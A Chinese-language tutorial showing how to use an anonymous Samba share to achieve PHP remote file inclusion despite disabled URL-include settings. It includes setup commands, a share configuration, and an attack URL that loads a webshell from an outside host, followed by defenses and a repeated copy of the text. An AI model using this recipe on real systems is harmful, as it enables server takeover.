通过SMB造成远程文件包含(双Off情况)
字数 852 2025-08-26 22:11:45

利用SMB协议绕过PHP远程文件包含(RFI)限制的技术分析

前言

本文详细讲解如何利用SMB协议绕过PHP的远程文件包含(RFI)限制,即使allow_url_includeallow_url_fopen都设置为"Off"的情况下也能实现攻击。

背景知识

PHP文件包含漏洞

PHP文件包含漏洞(RFI)允许攻击者包含远程服务器上的恶意文件,通常通过HTTP或FTP协议。现代PHP配置通常会禁用这些功能。

SMB协议

服务器消息块(SMB)协议是一种网络文件共享协议,允许计算机访问远程文件系统和资源。PHP在某些配置下仍允许通过SMB协议包含文件。

攻击原理

即使PHP配置中设置了:

  • allow_url_include = Off
  • allow_url_fopen = Off

PHP仍然可能允许通过SMB协议包含远程文件,这为绕过RFI限制提供了可能。

攻击准备

1. 配置Samba服务器

安装Samba

apt-get install samba

创建共享目录

mkdir /var/www/html/pub/
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

配置Samba

清空并重新配置/etc/samba/smb.conf

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重启Samba服务

service smbd restart

2. 上传Webshell

将PHP webshell上传到Samba共享目录/var/www/html/pub/,例如box.php

攻击实施

验证SMB共享可访问

在Windows中访问:

\\192.168.0.3\ica\

确认可以匿名访问且能看到webshell文件。

发起RFI攻击

构造包含SMB路径的URL:

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

防御措施

  1. 禁用不必要的协议

    • 在php.ini中明确禁用SMB协议包含
  2. 输入验证

    • 严格验证用户输入的文件路径
    • 禁止包含远程文件
  3. 文件包含白名单

    • 只允许包含特定目录下的文件
  4. Samba服务器安全

    • 不要启用匿名访问
    • 限制共享目录权限
  5. 更新PHP版本

    • 新版本PHP对文件包含有更严格的限制

总结

这种攻击方法利用了PHP对SMB协议的特殊处理,即使在严格的安全配置下也能实现远程文件包含。防御需要多层次的防护措施,包括PHP配置、输入验证和服务器安全配置。

利用SMB协议绕过PHP远程文件包含(RFI)限制的技术分析 前言 本文详细讲解如何利用SMB协议绕过PHP的远程文件包含(RFI)限制,即使 allow_url_include 和 allow_url_fopen 都设置为"Off"的情况下也能实现攻击。 背景知识 PHP文件包含漏洞 PHP文件包含漏洞(RFI)允许攻击者包含远程服务器上的恶意文件,通常通过HTTP或FTP协议。现代PHP配置通常会禁用这些功能。 SMB协议 服务器消息块(SMB)协议是一种网络文件共享协议,允许计算机访问远程文件系统和资源。PHP在某些配置下仍允许通过SMB协议包含文件。 攻击原理 即使PHP配置中设置了: allow_url_include = Off allow_url_fopen = Off PHP仍然可能允许通过SMB协议包含远程文件,这为绕过RFI限制提供了可能。 攻击准备 1. 配置Samba服务器 安装Samba 创建共享目录 配置Samba 清空并重新配置 /etc/samba/smb.conf : 重启Samba服务 2. 上传Webshell 将PHP webshell上传到Samba共享目录 /var/www/html/pub/ ,例如 box.php 。 攻击实施 验证SMB共享可访问 在Windows中访问: 确认可以匿名访问且能看到webshell文件。 发起RFI攻击 构造包含SMB路径的URL: 防御措施 禁用不必要的协议 : 在php.ini中明确禁用SMB协议包含 输入验证 : 严格验证用户输入的文件路径 禁止包含远程文件 文件包含白名单 : 只允许包含特定目录下的文件 Samba服务器安全 : 不要启用匿名访问 限制共享目录权限 更新PHP版本 : 新版本PHP对文件包含有更严格的限制 总结 这种攻击方法利用了PHP对SMB协议的特殊处理,即使在严格的安全配置下也能实现远程文件包含。防御需要多层次的防护措施,包括PHP配置、输入验证和服务器安全配置。